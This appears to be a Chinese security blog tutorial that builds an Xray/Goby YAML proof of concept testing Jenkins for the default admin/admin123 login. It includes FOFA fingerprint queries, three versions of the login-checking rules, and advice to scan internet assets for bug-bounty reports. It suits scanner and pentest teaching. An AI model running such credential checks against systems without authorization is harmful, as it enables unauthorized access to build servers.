白哥给大家写POC~

admin 2022年7月17日21:19:09评论178 views字数 3855阅读12分51秒阅读模式

0x00 前言

主流的被动扫描器类似于Xray、Goby的POC都支持YAML格式,YAML是JSON的超集,也就是说,你也可以用JSON编写POC,但这里还是建议大家使用YAML来编写,原因如下:

  • • YAML的值无需使用双引号包裹,所以特殊字符无需转义

  • • YAML的内容更加可读

  • • YAML中可以使用注释给大家演示一个最简单的YAML格式的POC。

今天给大家写一个最简单的弱口令的POC_Yaml,会写的师傅略过此篇文章,不会的可以瞅瞅~参考简单的POC的编写后续别的漏洞的POC编写按照这个方法来就行了。

白哥给大家写POC~

0x01 Jenkins简介

Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件项目可以进行持续集成,Jenkins用Java语言编写,可在Tomcat等流行的servlet容器中运行,也可独立运行。通常与版本管理工具(SCM)、构建工具结合使用。

简介都是废话,其实就是一个登录框咱就要进后台。

白哥给大家写POC~

登录框

0x02 指纹识别

所谓指纹就是一款应用(大多数情况下是Web应用)所具有的独有的特征,根据该特征,我们就可以识别出这款应用的通用框架或组件等。举个例子:Discuz是一款由康盛公司开发的知名论坛类型的CMS系统。它的外观通常是这样的:

白哥给大家写POC~
Discuz

但也有可能是这样的:

白哥给大家写POC~
Discuz

从外观上看,两个网站有很大区别,几乎不是同一个类型的。但是,我们可以去找共同点,这个过程也就是指纹提取。指纹提取,通常需要我们查看网页源码,我们来看一下二者源码有什么相同点:

白哥给大家写POC~
白哥给大家写POC~

注意到: <meta name="generator" content="Discuz! X3.?" />这一行。其中,第一个网站是3.1,而第二个网站是3.3 。这个指纹通常是不会被改变的。于是一条识别Discuz框架的指纹就产生了,那就是:源码含有<meta name="generator" content="Discuz!

打开fofa,分别输入: body="<meta name="generator" content="Discuz!"" body="name="srhlocality""

白哥给大家写POC~
白哥给大家写POC~

如果把后者的召回率比作1的话,前者的召回率大概在99.10% 。这样看来二者是有些细微区别的,我们鼓励开发者尽可能多地尝试使用不含有框架本身信息的指纹,以避免在二次开发场景下的篡改,导致召回率下降。

Jenkins_finger

白哥给大家写POC~

源代码
app="Jenkins"
白哥给大家写POC~
FOFA语法

0x03 POC

POC编写逻辑 需要先用一个错误的密码 获取一个cookie,再用这个cookie 加上正确的密码获取登录后的cookie,也就是说只有登录失败才会触发下发cookie机制。

admin admin123
白哥给大家写POC~
name: poc-yaml-Jenkins-default-password
level: 2
finger: |
  "Jenkins" in finger.name 
rules:
  - method: POST
    path: /login.html/j_spring_security_check
    body: |
      j_username=admin&j_password=admin123&from=%2F&Submit=%E7%99%BB%E5%BD%95
    expression: | 
      response.status==302
detail:
  author: libai
  links: 
    - https://libai.blog.csdn.net/

扫不出来继续修改 当响应数据包出现HTTP/1.1 302 Found并且body内容为空时,继续匹配下一个数据包。

白哥给大家写POC~
name: poc-yaml-Jenkins-default-password
level: 2
finger: |
  "Jenkins" in finger.name 
rules:
  - method: POST
    path: /login.html/j_spring_security_check
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: |
      j_username=admin&j_password=admin123&from=%2F&Submit=%E7%99%BB%E5%BD%95
    follow_redirects: false
    expression: | 
      response.status==302
  - method: GET
    path: /
    headers:
      Cache-Control: max-age=0
      Upgrade-Insecure-Requests: 1
    follow_redirects: true
    expression: | 
      response.status==200 && response.X-Frame-Options("sameorigin") && response.X-Instance-Identity("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAp/djRRKaisgFzKuSi1HBSz13uriuet6q65mYdMDii3zfxqvQQyvvwxSQ01J+4/+45cyXqOPMY2nIeJ5IW2fPVASuk0B9BRJQFBSVjp5hvIRuT9Piw7Op1EmgVWDXiqHR958CPlCY5I1Z/exqAHR0nEXky1YfuR59t6OW3tfa2vLuotNS1ISbJSunXwLAxfOe/wrh9TeIkiEiVBpM/1po+Q8DcOLc1S1MBg2WyXpR6xG1OVkYRYHeskGFcq20mBGdLj0Xg8Jd8y4qwMSm3xCmqf/Cio1pkiPilhM95dr31Oc3sRmGmCPBUJ5GU7Vw0pzhao5PXwiyLOa2nPgRH7gZzQIDAQAB")   
detail:
  author: libai
  links: 
    - https://libai.blog.csdn.net/

还是不正确继续修改 expression里面尽量匹配bady,因为当这个字段有些webserver 代理的时候可能会修改,有nignx代理的时候可能会导致字段出现变化。

X-Frame-Options: sameorigin
X-Instance-Identity:
白哥给大家写POC~

完整的POC 可以加载到Xray或者Goby里面,找个互联网资产扫一哈交个公益SRC,哈哈哈哈哈

白哥给大家写POC~

name: poc-yaml-jenkins-default-password
level: 2
finger: |
  "Jenkins" in finger.name 
rules:
  - method: POST
    path: /j_spring_security_check
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: |
      j_username=admin&j_password=admin123a&from=%2F&Submit=%E7%99%BB%E5%BD%95
    follow_redirects: false
    expression: | 
      response.status==302  ##返回302时是否跟随跳转的location
  - method: POST
    path: /j_spring_security_check
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: |
      j_username=admin&j_password=admin123&from=%2F&Submit=%E7%99%BB%E5%BD%95
    follow_redirects: false
    expression: | 
      response.status==302
  - method: GET
    path: /
    headers:
      Cache-Control: max-age=0
      Upgrade-Insecure-Requests: 1
    follow_redirects: true
    expression: | 
      response.status==200 && response.body.bcontains(b'am-monitor__indicator-mobile')
detail:
  author: libai
  links: 
    - https://libai.blog.csdn.net/

往期推荐



红蓝对抗自动化利用工具整理

实战一次真实的域渗透拿下域控

一次任意文件下载引发的渗透

对某专属厂商的逻辑漏洞挖掘

白哥给大家写POC~

原文始发于微信公众号(李白你好):白哥给大家写POC~

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月17日21:19:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   白哥给大家写POC~https://cn-sec.com/archives/1179311.html

发表评论

匿名网友 填写信息